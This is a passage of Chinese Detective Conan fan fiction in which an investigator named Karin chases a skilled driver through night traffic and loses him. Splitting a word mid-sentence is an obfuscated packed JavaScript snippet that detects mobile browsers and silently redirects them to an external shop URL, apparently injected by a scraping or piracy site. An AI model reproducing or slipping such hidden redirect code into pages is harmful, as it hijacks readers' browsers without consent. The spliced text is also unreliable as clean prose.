可她还有一件事不明白,对方到底是怎么提前预制他们的行动的? 她和新社长的会面全程都是在AHL进行的,她去的理由也是对中村死亡案件的后续证据收集。 他们监视了岩田? 现在手里的情报还是太少了,如果不是卧底的降谷零给她提前传递了消息,恐怕她会以更加没有准备的状态撞上黑衣组织的人。 可惜,仓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211134|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促之间,还是没能把人抓住,甚至因为天太黑了,对方的脸她也没有怎么看清。 黑色轿车如脱笼猛兽般冲出厂房区,轮胎在粗粝路面上擦出短促尖啸,一头扎入稀疏的车流中。花梨紧握方向盘,目光锐利的扫视着前方纵横交错的道路。 “找到了,渡边小姐,在那边!”丸目阳太的声音响起。 花梨朝着他指的方向看过去,猛地向左打方向盘。顺着他示意的方向,一辆白色轿车正从前方的岔路口利刃般切出,汇入主道——它的后车牌被刻意遮挡,只留下一片刺目的反光。 追逐在夜幕下的公路上展开。前车仿佛嗅到了危险,没有丝毫迟疑,车速瞬间提升。引擎的咆哮声隔着距离传来。 它并非盲目逃窜——变道、超车、切入内线,动作行云流水,始终将自己置于车流中最难以被彻底堵截的位置,跟花梨的车保持了一个安全的距离。 驾驶员的车技绝非一般。 花梨咬紧牙关,额头渗出细汗。她将油门踩得更深,破破烂烂的轿车发出嘶吼,奋力缩小着差距。两辆车化作一黑一白两道残影,在路灯流淌的道路中疾驰。 风撞击车窗,耳边的风声连成一片变成尖锐的嘶吼,仪表盘指针危险地向右摆动。 “渡边小姐,快要进入城区了!”丸目阳太提醒道,声音因紧张而颤抖着。 面对巨大的弯道,白色轿车没有丝毫减速,反而以更激进的方式冲入弯道。轮胎摩擦地面发出尖锐悲鸣,车身以近乎完美的切线轨迹掠过弯心,尾灯在黑暗中划出两道猩红的弧线。 花梨努力的咬死前车,缺不敢像对方那样压弯,只能眼睁睁的看着好不容易拉进的距离再度被拉开。 驶出弯道,一段相对笔直的道路出现。 白色轿车不再满足于保持距离,而是开始展现更具攻击性的驾驶方式。一次毫无预兆的急刹,逼得紧随其后的丸目阳太猛打方向惊险避让;随即又趁他们阵脚微乱之际,连续变道,插入旁边车流,借助一辆缓慢行驶的货车暂时阻挡了他们的直线追击。 “混蛋!”丸目阳太忍不住咒骂,额头青筋跳动。 花梨抿紧嘴唇,眼神锐利如刀。她看着白色轿车如游鱼般在车缝中穿梭,带着一种令人恼火的从容。 追逐进入灯光交织的城区内。车流明显增多,一个红绿灯出现。白车恰好在黄灯亮起的最后一秒呼啸通过,而将追击者无情地拦在突然亮起的红灯前。 “闯过去!” 花梨脸色发白,但依然猛踩油门,黑色轿车险之又险地擦着横向启动的车流冲过路口,引来一片刺耳的喇叭与急刹声。 然而,就是这短暂的耽搁,决定了胜负。当他们的车冲过路口,重新寻回目标时,只见那辆白色轿车在前方一个立交桥毫不犹豫地选择了上高架。 等花梨想要紧随其后的时候,变道的路线却被其他的私家车堵死了,刚刚那一通操作逼停了不止一辆车,这些车主打开车门围住花梨的车开始怒骂。 花梨一拳砸在方向盘上。 她缓缓松开不知何时已攥得发白的手指,刚刚近身格斗接触的疼痛再一次涌上来,那个男人身材高大的同时并不是花架子,花梨能感受到身体各处都传来酸痛,恐怕衣服下面的皮肤早就变成了一片青紫。 冷静了一些,她打开车门,在纬围堵的车主们面前走出来,从衣服内侧掏出证件。 一群愤怒的车主顿时鸦雀无声。 堵着的车道逐渐散开,后续协调的交通科也很快赶到。 “回去吧。”